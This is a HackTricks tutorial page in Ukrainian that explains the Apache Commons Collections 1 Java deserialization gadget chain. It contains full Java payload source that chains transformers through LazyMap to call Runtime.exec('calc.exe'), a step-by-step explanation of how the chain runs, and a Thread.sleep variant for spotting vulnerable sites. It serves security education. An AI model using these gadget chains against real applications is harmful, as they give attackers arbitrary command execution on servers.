hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

11 KiB
Raw Blame History

CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Java Transformers to Rutime exec()

В кількох місцях ви можете знайти java десеріалізаційний payload, який використовує трансформери з Apache common collections, як-от наступний:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Якщо ви нічого не знаєте про java deserialization payloads, може бути важко зрозуміти, чому цей код виконає calc.

По-перше, вам потрібно знати, що Transformer в Java - це щось, що отримує клас і перетворює його на інший.
Також цікаво знати, що payload, що виконується тут, є еквівалентом до:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Або точніше, що буде виконано в кінці, це буде:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Як

Отже, як перший payload представлений еквівалентно цим "простим" однолінійникам?

По-перше, ви можете помітити в payload, що створюється ланцюг (масив) трансформацій:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Якщо ви прочитаєте код, ви помітите, що якщо ви якимось чином з'єднаєте трансформацію масиву, ви зможете виконувати довільні команди.

Отже, як ці трансформації з'єднуються?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

У останній секції payload ви можете побачити, що створюється об'єкт Map. Потім виконується функція decorate з LazyMap з об'єктом мапи та з'єднаними трансформерами. З наступного коду ви можете побачити, що це призведе до того, що з'єднані трансформери будуть скопійовані всередині атрибута lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

І тоді виконується велике фінале: lazyMap.get("anything");

Це код функції get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

І це код функції transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Отже, пам'ятайте, що всередині factory ми зберегли chainedTransformer, а всередині функції transform ми проходимо через усі ці трансформери, що з'єднані та виконуємо один за одним. Смішно те, що кожен трансформер використовує object як вхідні дані, а об'єкт є виходом з останнього виконаного трансформера. Отже, всі трансформації виконуються в ланцюжку, виконуючи шкідливий payload.

Резюме

В кінці, через те, як lazyMap управляє з'єднаними трансформерами всередині методу get, це як якби ми виконували наступний код:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Зверніть увагу, що value є вхідним значенням кожного перетворення та вихідним значенням попереднього перетворення, що дозволяє виконати однорядковий код:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Зверніть увагу, що тут було пояснено гаджети, використані для ComonsCollections1 payload. Але залишено як все це починає виконуватись. Ви можете побачити тут, що ysoserial, для виконання цього payload, використовує об'єкт AnnotationInvocationHandler, оскільки коли цей об'єкт буде десеріалізовано, він викличе функцію payload.get(), яка виконає весь payload.

Java Thread Sleep

Цей payload може бути корисним для визначення, чи вразливий веб, оскільки він виконає затримку, якщо так.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Більше гаджетів

Ви можете знайти більше гаджетів тут: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}